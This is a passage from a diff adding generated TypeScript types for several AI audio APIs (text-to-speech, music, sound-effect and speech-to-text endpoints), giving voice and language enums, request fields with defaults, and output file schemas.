+} as const + +export type SpeakerConfig462A1714VoiceEnumKey = + (typeof speakerConfig462A1714VoiceEnum)[keyof typeof speakerConfig462A1714VoiceEnum] + +export type SpeakerConfig462A1714 = { + /** + * @description Prebuilt voice for this speaker. + * @type string + */ + voice: SpeakerConfig462A1714VoiceEnumKey + /** + * @description Speaker alias used in each turn. + * @minLength 1 + * @type string + */ + speaker_id: string +} + +export const inputGoogleGemini38FlashLiteTtsVoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type InputGoogleGemini38FlashLiteTtsVoiceEnumKey = + (typeof inputGoogleGemini38FlashLiteTtsVoiceEnum)[keyof typeof inputGoogleGemini38FlashLiteTtsVoiceEnum] + +export type InputGoogleGemini38FlashLiteTts = { + /** + * @description Verbatim text for single-speaker speech. Put delivery directions in style_instructions; inline vocal events may use or . For dialogue, omit prompt and provide speakers and turns instead. The provider limits the complete input to 8,192 tokens. + * @example Have a wonderful day! + */ + prompt?: string | null + /** + * @description Ordered dialogue turns, each identifying a configured speaker. + * @example null + */ + turns?: SpeechTurn[] | null + /** + * @description Prebuilt voice for single-speaker speech. + * @default 'Kore' + * @type string | undefined + */ + voice?: InputGoogleGemini38FlashLiteTtsVoiceEnumKey + /** + * @description Delivery style, separate from the spoken transcript. Applies to all turns unless overridden. + * @example cheerful and friendly + */ + style_instructions?: string | null + /** + * @description Exactly two distinct speaker aliases and their prebuilt voices for dialogue. + * @example null + */ + speakers?: SpeakerConfig462A1714[] | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileEca7C340 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputGoogleGemini38FlashLiteTts = { + /** + * @description Generated WAV audio. + * @type object + */ + audio: FileEca7C340 +} + +export type SpeechTurn181Cf96C = { + /** + * @description Optional delivery style for this turn. + */ + style_instructions?: string | null + /** + * @description Verbatim transcript for this turn. + * @minLength 1 + * @type string + */ + text: string + /** + * @description Alias of a configured speaker. + * @minLength 1 + * @type string + */ + speaker_id: string +} + +export const speakerConfig190A9D14VoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type SpeakerConfig190A9D14VoiceEnumKey = + (typeof speakerConfig190A9D14VoiceEnum)[keyof typeof speakerConfig190A9D14VoiceEnum] + +export type SpeakerConfig190A9D14 = { + /** + * @description Prebuilt voice for this speaker. + * @type string + */ + voice: SpeakerConfig190A9D14VoiceEnumKey + /** + * @description Speaker alias used in each turn. + * @minLength 1 + * @type string + */ + speaker_id: string +} + +export const inputGoogleGemini38FlashTtsVoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type InputGoogleGemini38FlashTtsVoiceEnumKey = + (typeof inputGoogleGemini38FlashTtsVoiceEnum)[keyof typeof inputGoogleGemini38FlashTtsVoiceEnum] + +export type InputGoogleGemini38FlashTts = { + /** + * @description Verbatim text for single-speaker speech. Put delivery directions in style_instructions; inline vocal events may use or . For dialogue, omit prompt and provide speakers and turns instead. The provider limits the complete input to 8,192 tokens. + * @example Have a wonderful day! + */ + prompt?: string | null + /** + * @description Ordered dialogue turns, each identifying a configured speaker. + * @example null + */ + turns?: SpeechTurn181Cf96C[] | null + /** + * @description Prebuilt voice for single-speaker speech. + * @default 'Kore' + * @type string | undefined + */ + voice?: InputGoogleGemini38FlashTtsVoiceEnumKey + /** + * @description Delivery style, separate from the spoken transcript. Applies to all turns unless overridden. + * @example cheerful and friendly + */ + style_instructions?: string | null + /** + * @description Exactly two distinct speaker aliases and their prebuilt voices for dialogue. + * @example null + */ + speakers?: SpeakerConfig190A9D14[] | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDfc6Db51 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputGoogleGemini38FlashTts = { + /** + * @description Generated WAV audio. + * @type object + */ + audio: FileDfc6Db51 +} + +export type InputGoogleLyria35 = { + /** + * @description The text prompt describing the music you want to generate. Include genre, mood, instrumentation, tempo, vocals, and structure for best results. Lyria 3.5 supports full-length songs up to a few minutes — use timestamps or duration hints in your prompt to control song length, e.g. 'a 2-minute track' or section markers like '[0:00-0:30] Intro: ...' / '[0:30-1:00] Verse: ...'. Supports English, German, Spanish, French, Hindi, Japanese, Korean, and Portuguese. + * @minLength 1 + * @maxLength 5000 + * @example An uplifting pop song with driving electric guitar, energetic drums, and a catchy chorus singing 'Rise up and shine today'. 120 BPM. Two minutes long with a verse-chorus-verse-chorus-bridge-chorus structure. + * @type string + */ + prompt: string + /** + * @description Negative prompting is not supported by Lyria 3.5. + * @deprecated + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Optional image URL to use as visual inspiration for music generation. The model will create music that matches the mood and theme of the image. + * @example https://v3b.fal.media/files/b/0a93b559/qjT9o0CId1B65PbD6Yp06_9c94501900464c5aa98f302fa4b00375.png + */ + image_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD832B80D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputGoogleLyria35 = { + /** + * @description The generated music as an MP3 file. + * @example https://v3b.fal.media/files/b/0a93b550/klduxmeWsmi304M3zsAlr_output.mp3 + * @type object + */ + audio: FileD832B80D + /** + * @description The generated or provided lyrics for the track, if applicable. + * @example [[A0]] + * [[B1]] + * [12.0:] Dust motes dancing in the light, + * [:] Morning breaks so soft and white. + */ + lyrics?: string | null +} + +export const inputHeygenHeygenVoiceLanguage = { + ar: 'ar', + be: 'be', + bg: 'bg', + ca: 'ca', + cs: 'cs', + da: 'da', + de: 'de', + el: 'el', + en: 'en', + es: 'es', + fa: 'fa', + fi: 'fi', + fr: 'fr', + he: 'he', + hi: 'hi', + hr: 'hr', + hu: 'hu', + id: 'id', + it: 'it', + ja: 'ja', + ko: 'ko', + mk: 'mk', + ms: 'ms', + nl: 'nl', + pl: 'pl', + pt: 'pt', + ro: 'ro', + ru: 'ru', + sk: 'sk', + sl: 'sl', + sr: 'sr', + sv: 'sv', + ta: 'ta', + th: 'th', + tl: 'tl', + tr: 'tr', + uk: 'uk', + vi: 'vi', + zh: 'zh', +} as const + +export type InputHeygenHeygenVoiceLanguageKey = + (typeof inputHeygenHeygenVoiceLanguage)[keyof typeof inputHeygenHeygenVoiceLanguage] + +export const inputHeygenHeygenVoiceVoiceEnum = { + Jonah: 'Jonah', + Nadine: 'Nadine', + Tabitha: 'Tabitha', + Soren: 'Soren', + Elowen: 'Elowen', + Vincent: 'Vincent', + Jocelyn: 'Jocelyn', + Marielle: 'Marielle', + Corinne: 'Corinne', + Lucian: 'Lucian', + Kieran: 'Kieran', + Hugh: 'Hugh', + Noelle: 'Noelle', + Bram: 'Bram', + Ewan: 'Ewan', + Iona: 'Iona', + Cecily: 'Cecily', + Simon: 'Simon', + Weston: 'Weston', + Felicity: 'Felicity', + Gareth: 'Gareth', + Rory: 'Rory', + Meredith: 'Meredith', + Sabrina: 'Sabrina', +} as const + +export type InputHeygenHeygenVoiceVoiceEnumKey = + (typeof inputHeygenHeygenVoiceVoiceEnum)[keyof typeof inputHeygenHeygenVoiceVoiceEnum] + +export type InputHeygenHeygenVoice = { + /** + * @description How expressive the delivery is. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + expressiveness_boost?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Language of the text. Detected from the text when omitted. + */ + language?: InputHeygenHeygenVoiceLanguageKey | null + /** + * @description Recording of a single speaker to clone instead of using a public voice. Only the first 3 minutes are used. + */ + reference_audio_url?: string | null + /** + * @description HeyGen public voice. Ignored when reference_audio_url is set. + * @default 'Jonah' + * @type string | undefined + */ + voice?: InputHeygenHeygenVoiceVoiceEnumKey + /** + * @description The text to speak. + * @minLength 1 + * @maxLength 5000 + * @example Hello! This is HeyGen Voice, speaking on fal. + * @type string + */ + text: string +} + +export type File15F86Efb = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputHeygenHeygenVoice = { + /** + * @description Duration of the audio in seconds. + * @type number + */ + duration: number + /** + * @description Generated speech as a 44.1 kHz WAV file. + * @type object + */ + audio: File15F86Efb +} + +export const inputHeygenHeygenVoiceTurboLanguage = { + ar: 'ar', + be: 'be', + bg: 'bg', + ca: 'ca', + cs: 'cs', + da: 'da', + de: 'de', + el: 'el', + en: 'en', + es: 'es', + fa: 'fa', + fi: 'fi', + fr: 'fr', + he: 'he', + hi: 'hi', + hr: 'hr', + hu: 'hu', + id: 'id', + it: 'it', + ja: 'ja', + ko: 'ko', + mk: 'mk', + ms: 'ms', + nl: 'nl', + pl: 'pl', + pt: 'pt', + ro: 'ro', + ru: 'ru', + sk: 'sk', + sl: 'sl', + sr: 'sr', + sv: 'sv', + ta: 'ta', + th: 'th', + tl: 'tl', + tr: 'tr', + uk: 'uk', + vi: 'vi', + zh: 'zh', +} as const + +export type InputHeygenHeygenVoiceTurboLanguageKey = + (typeof inputHeygenHeygenVoiceTurboLanguage)[keyof typeof inputHeygenHeygenVoiceTurboLanguage] + +export const inputHeygenHeygenVoiceTurboVoiceEnum = { + Jonah: 'Jonah', + Nadine: 'Nadine', + Tabitha: 'Tabitha', + Soren: 'Soren', + Elowen: 'Elowen', + Vincent: 'Vincent', + Jocelyn: 'Jocelyn', + Marielle: 'Marielle', + Corinne: 'Corinne', + Lucian: 'Lucian', + Kieran: 'Kieran', + Hugh: 'Hugh', + Noelle: 'Noelle', + Bram: 'Bram', + Ewan: 'Ewan', + Iona: 'Iona', + Cecily: 'Cecily', + Simon: 'Simon', + Weston: 'Weston', + Felicity: 'Felicity', + Gareth: 'Gareth', + Rory: 'Rory', + Meredith: 'Meredith', + Sabrina: 'Sabrina', +} as const + +export type InputHeygenHeygenVoiceTurboVoiceEnumKey = + (typeof inputHeygenHeygenVoiceTurboVoiceEnum)[keyof typeof inputHeygenHeygenVoiceTurboVoiceEnum] + +export type InputHeygenHeygenVoiceTurbo = { + /** + * @description How expressive the delivery is. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + expressiveness_boost?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Language of the text. Detected from the text when omitted. + */ + language?: InputHeygenHeygenVoiceTurboLanguageKey | null + /** + * @description Recording of a single speaker to clone instead of using a public voice. Only the first 3 minutes are used. + */ + reference_audio_url?: string | null + /** + * @description HeyGen public voice. Ignored when reference_audio_url is set. + * @default 'Jonah' + * @type string | undefined + */ + voice?: InputHeygenHeygenVoiceTurboVoiceEnumKey + /** + * @description The text to speak. + * @minLength 1 + * @maxLength 5000 + * @example Hello! This is HeyGen Voice, speaking on fal. + * @type string + */ + text: string +} + +export type FileD32310A4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputHeygenHeygenVoiceTurbo = { + /** + * @description Duration of the audio in seconds. + * @type number + */ + duration: number + /** + * @description Generated speech as a 44.1 kHz WAV file. + * @type object + */ + audio: FileD32310A4 +} + +export const inputKotobaTechnologiesKotobaSttV1SpeechToTextLanguageEnum = { + ja: 'ja', + en: 'en', + ko: 'ko', + zh: 'zh', + es: 'es', + 'zh-hk': 'zh-hk', + 'zh-tw': 'zh-tw', + auto: 'auto', +} as const + +export type InputKotobaTechnologiesKotobaSttV1SpeechToTextLanguageEnumKey = + (typeof inputKotobaTechnologiesKotobaSttV1SpeechToTextLanguageEnum)[keyof typeof inputKotobaTechnologiesKotobaSttV1SpeechToTextLanguageEnum] + +export type InputKotobaTechnologiesKotobaSttV1SpeechToText = { + /** + * @description Speech to transcribe: an https:// URL on fal's CDN (Playground uploads and microphone recordings) or a base64 data: URI. Up to 2 minutes. + * @type string + */ + audio_url: string + /** + * @description Return `words` with start and end times for each word. + * @default false + * @type boolean | undefined + */ + with_timestamps?: boolean + /** + * @description Language spoken in the audio. + * @type string + */ + language: InputKotobaTechnologiesKotobaSttV1SpeechToTextLanguageEnumKey + /** + * @description Write personal and place names in katakana (Japanese). + * @default false + * @type boolean | undefined + */ + kana?: boolean + /** + * @description Up to 1000 terms of at most 64 characters, such as names or product words, whose spelling the transcript should prefer. + */ + keywords?: string[] | null + /** + * @description Attribute words to speakers (`speaker_id` on each word; models with speaker tokens only). Word times are null unless `with_timestamps` is also set. + * @default false + * @type boolean | undefined + */ + diarization?: boolean +} + +export const speechToTextWordTypeEnum = { + word: 'word', + spacing: 'spacing', + audio_event: 'audio_event', +} as const + +export type SpeechToTextWordTypeEnumKey = + (typeof speechToTextWordTypeEnum)[keyof typeof speechToTextWordTypeEnum] + +export type SpeechToTextWord = { + /** + * @default 'word' + * @type string | undefined + */ + type?: SpeechToTextWordTypeEnumKey + speaker_id?: string | null + text: string + start?: number | null + end?: number | null +} + +export type OutputKotobaTechnologiesKotobaSttV1SpeechToText = { + language_code: string + text: string + language_probability: number + words: SpeechToTextWord[] + audio_duration_secs?: number | null +} + +export type InputMinimaxMusic3 = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Music description: style, mood, vocals, instrumentation and arrangement. For precise control use a Structured Caption with global metadata (genre, BPM, key, emotional progression), vocal details, and a section-by-section arrangement. + * @example Genre: acoustic pop. BPM: 96. Key: C major. Warm and intimate, building gently into the chorus. Vocals: soft female lead, close and breathy, light stacked harmonies in the chorus. Arrangement: fingerpicked guitar and soft piano; brushed drums and upright bass enter in the chorus. + * @type string + */ + prompt: string + /** + * @description The lyrics to sing. Structure tags such as [intro], [verse], [pre-chorus], [chorus], [post-chorus], [bridge], [instrumental], [solo] and [outro] must each be on their own line; text on the same line as a leading tag is dropped by the model's input contract. + * @example [verse] + * Morning light filtering through the pine + * Every quiet street is yours and mine + * [chorus] + * Softly the world begins to breathe + * @type string + */ + lyrics: string + /** + * @description Upper bound on the generated audio length in seconds. The model may stop earlier; the actual duration is returned in the output. + * @minimum 1 + * @maximum 300 + * @default 60 + * @type number | undefined + */ + duration?: number + /** + * @description Number of flow-matching Euler steps per 8-second denoising chunk. More steps improve quality at the cost of speed. + * @minimum 1 + * @maximum 100 + * @default 30 + * @example 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Classifier-free guidance scale of the flow-matching stage. + * @minimum 0 + * @maximum 20 + * @default 1.7 + * @example 1.7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. If not provided, a random seed will be used. + */ + seed?: number | null +} + +export type File73Bb9896 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputMinimaxMusic3 = { + /** + * @description The actual duration of the generated audio in seconds (may be shorter than the requested duration). + * @example 60 + * @type number + */ + duration: number + /** + * @description The random seed used for the generation process. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The generated audio file (44.1 kHz 16-bit stereo WAV). + * @type object + */ + audio: File73Bb9896 +} + +export const inputMireloAiSfx20TextToAudioUploadAudioFormatEnum = { + wav: 'wav', + mp3: 'mp3', + aac: 'aac', + flac: 'flac', +} as const + +export type InputMireloAiSfx20TextToAudioUploadAudioFormatEnumKey = + (typeof inputMireloAiSfx20TextToAudioUploadAudioFormatEnum)[keyof typeof inputMireloAiSfx20TextToAudioUploadAudioFormatEnum] + +/** + * @description The text-to-SFX request of the Modal deployment's text_to_sfx endpoint; FAL names the request. + * @type object + */ +export type InputMireloAiSfx20TextToAudio = { + /** + * @description Number of variations to generate. Billed per sample. + * @minimum 1 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + num_samples?: number + /** + * @description Seconds of sound to generate, up to the deployment's text-to-SFX maximum + * @minimum 0.1 + * @maximum 600 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description Sounds to keep out of the result + * @example music, voices + */ + negative_prompt?: string | null + /** + * @description Bitrate in kbps for an mp3 or aac upload. mp3 is written at exactly this constant rate, one of 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320. aac takes 32 to 256 as a target the encoder may undershoot on mono or sparse audio. Unset keeps the default: mp3 at LAME V0 VBR, aac at a 256 kbps target. Refused with a lossless upload_audio_format. + */ + upload_audio_bitrate_kbps?: number | null + /** + * @description What the sound effect should sound like + * @minLength 1 + * @maxLength 2000 + * @example Heavy rain on a metal roof with distant thunder + * @example Heavy wooden door creaking open in an empty hall + * @type string + */ + prompt: string + /** + * @description Audio format of each file + * @default 'wav' + * @type string | undefined + */ + upload_audio_format?: InputMireloAiSfx20TextToAudioUploadAudioFormatEnumKey + /** + * @description Seed of the first sample; -1 or unset is random + */ + seed?: number | null +} + +export type Audio64189Bb7 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMireloAiSfx20TextToAudio = { + /** + * @description The SFX model release that made the output + * @pattern ^sfx-[0-9]+\.[0-9]+$ + * @example sfx-2.0 + * @type string + */ + model: string + /** + * @description Each sample's seed, in the same order + * @type array + */ + seeds: number[] + /** + * @description The generated sound effects, one per sample + * @example [{"content_type":"audio/wav","file_name":"generated_audio_1.wav","url":"https://di3otfzjg1gxa.cloudfront.net/rain_metal_roof_output_1.wav"}] + * @type array + */ + audio: Audio64189Bb7[] +} + +export const inputMireloAiSfx20VideoToAudioUploadAudioFormatEnum = { + wav: 'wav', + mp3: 'mp3', + aac: 'aac', + flac: 'flac', +} as const + +export type InputMireloAiSfx20VideoToAudioUploadAudioFormatEnumKey = + (typeof inputMireloAiSfx20VideoToAudioUploadAudioFormatEnum)[keyof typeof inputMireloAiSfx20VideoToAudioUploadAudioFormatEnum] + +export type InputMireloAiSfx20VideoToAudio = { + /** + * @description Also return the input's separated speech as its own audio file, in the response's speech. With preserve_speech false the soundtracks are sound effects only and the speech is separated while they generate. With preserve_speech true it is the speech separated from the input that the soundtracks were generated around, not the speech in them: the model renders that speech anew, so the file does not cancel or double it cleanly when layered onto a soundtrack. The file is mono, in upload_audio_format, and as long as the soundtracks. It is not billed. + * @default false + * @type boolean | undefined + */ + return_speech?: boolean + /** + * @description Video to add sound to: an http(s) URL, or a base64 data URI up to 8 MB. + * @example https://di3otfzjg1gxa.cloudfront.net/chase.mp4 + * @type string + */ + video_url: string + /** + * @description Number of variations to generate. Billed per sample. + * @minimum 1 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + num_samples?: number + /** + * @description Bitrate in kbps for an mp3 or aac upload. mp3 is written at exactly this constant rate, one of 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320. aac takes 32 to 256 as a target the encoder may undershoot on mono or sparse audio. Unset keeps the default: mp3 at LAME V0 VBR, aac at a 256 kbps target. Refused with a lossless upload_audio_format. + */ + upload_audio_bitrate_kbps?: number | null + /** + * @description Seconds of sound to generate, from 1 s to 600 s, clamped to the video's length. Over 10 s generates in 10 s windows. A video shorter than 1 s answers 400. + * @minimum 1 + * @maximum 600 + * @default 10 + * @type number | undefined + */ + duration?: number + /** + * @description Optional text guiding the soundtrack. Name sounds the picture does not show, such as off-screen sounds or an ambience bed, to have them worked into it. + * @example Distant police sirens, tires screeching on asphalt + */ + text_prompt?: string | null + /** + * @description Sounds to keep out of the result, as a short comma-separated list. + * @example music, crowd noise + */ + negative_prompt?: string | null + /** + * @description Keep the speech in the input's audio and generate the rest of the soundtrack around it. False generates sound effects only and suppresses speech. + * @default true + * @type boolean | undefined + */ + preserve_speech?: boolean + /** + * @description Audio format of each file + * @default 'wav' + * @type string | undefined + */ + upload_audio_format?: InputMireloAiSfx20VideoToAudioUploadAudioFormatEnumKey + /** + * @description Seed for generation. -1 or None for random. + */ + seed?: number | null +} + +export type Audio4B2F3Dfb = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export const returnedSpeechOutcomeEnum = { + speech: 'speech', + no_speech: 'no_speech', + failed: 'failed', +} as const + +export type ReturnedSpeechOutcomeEnumKey = + (typeof returnedSpeechOutcomeEnum)[keyof typeof returnedSpeechOutcomeEnum] + +/** + * @description What a return_speech request found in the input's speech, and the file made of it. + * @type object + */ +export type ReturnedSpeech = { + /** + * @description Windows whose separation failed, or whose stem could not be read + * @type integer + */ + windows_failed: number + /** + * @description speech when audio holds the file, no_speech when no window of the input has speech (or it has no audio), failed when separating a window or building the file failed. The soundtracks come back either way. + * @type string + */ + outcome: ReturnedSpeechOutcomeEnumKey + /** + * @description Windows the input was separated in + * @type integer + */ + windows: number + /** + * @description The separated speech as one audio file; null unless the outcome is speech + */ + audio?: Audio4B2F3Dfb | null + /** + * @description Windows that held speech + * @type integer + */ + windows_with_speech: number +} + +export type OutputMireloAiSfx20VideoToAudio = { + /** + * @description The SFX model release that made the output + * @pattern ^sfx-[0-9]+\.[0-9]+$ + * @example sfx-2.0 + * @type string + */ + model: string + /** + * @description Each generated soundtrack as an audio file, without the video + * @example [{"content_type":"audio/wav","file_name":"generated_audio_1.wav","url":"https://di3otfzjg1gxa.cloudfront.net/chase_output_1.wav"}] + * @type array + */ + audio: Audio4B2F3Dfb[] + /** + * @description The input's separated speech; null unless return_speech + */ + speech?: ReturnedSpeech | null +} + +export const podcastConversationVoiceEnum = { + Ethan: 'Ethan', + Victoria: 'Victoria', + Jake: 'Jake', + Luna: 'Luna', + Emma: 'Emma', +} as const + +export type PodcastConversationVoiceEnumKey = + (typeof podcastConversationVoiceEnum)[keyof typeof podcastConversationVoiceEnum] + +export type PodcastConversation = { + /** + * @description Built-in voice used for this conversation turn. + * @type string + */ + voice: PodcastConversationVoiceEnumKey + /** + * @description Text spoken in this conversation turn, up to 400 characters. + * @minLength 1 + * @maxLength 400 + * @type string + */ + text: string +} + +export type InputMurekaApiGeneratePodcast = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Ordered conversation turns used to generate the podcast audio. + * @type array + */ + conversations: PodcastConversation[] +} + +export type LyricsWord = { + end?: number | null + start?: number | null + text?: string | null +} + +export type LyricsLine = { + end?: number | null + start?: number | null + words?: LyricsWord[] | null + text?: string | null +} + +export const lyricsSectionSectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSectionSectionTypeKey = + (typeof lyricsSectionSectionType)[keyof typeof lyricsSectionSectionType] + +export type LyricsSection = { + end?: number | null + lines?: LyricsLine[] | null + section_type?: LyricsSectionSectionTypeKey | null + start?: number | null +} + +export type File43F6693F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaApiGeneratePodcast = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description The generated audio file. + * @type object + */ + audio: File43F6693F + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null +} + +export const inputMurekaApiGenerateSpeechVoice = { + Ethan: 'Ethan', + Victoria: 'Victoria', + Jake: 'Jake', + Luna: 'Luna', + Emma: 'Emma', +} as const + +export type InputMurekaApiGenerateSpeechVoiceKey = + (typeof inputMurekaApiGenerateSpeechVoice)[keyof typeof inputMurekaApiGenerateSpeechVoice] + +export type InputMurekaApiGenerateSpeech = { + /** + * @description Text to synthesize, up to 500 characters. + * @minLength 1 + * @maxLength 500 + * @type string + */ + text: string + /** + * @description Custom voice ID returned by /files/upload with purpose='voice'. Cannot be combined with voice. + */ + voice_id?: string | null + /** + * @description Built-in voice preset. Cannot be combined with voice_id. + */ + voice?: InputMurekaApiGenerateSpeechVoiceKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWord0Ae01Ce6 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine82E42404 = { + words?: LyricsWord0Ae01Ce6[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection56B0A155SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection56B0A155SectionTypeKey = + (typeof lyricsSection56B0A155SectionType)[keyof typeof lyricsSection56B0A155SectionType] + +export type LyricsSection56B0A155 = { + end?: number | null + start?: number | null + section_type?: LyricsSection56B0A155SectionTypeKey | null + lines?: LyricsLine82E42404[] | null +} + +export type File7D1F73B8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the 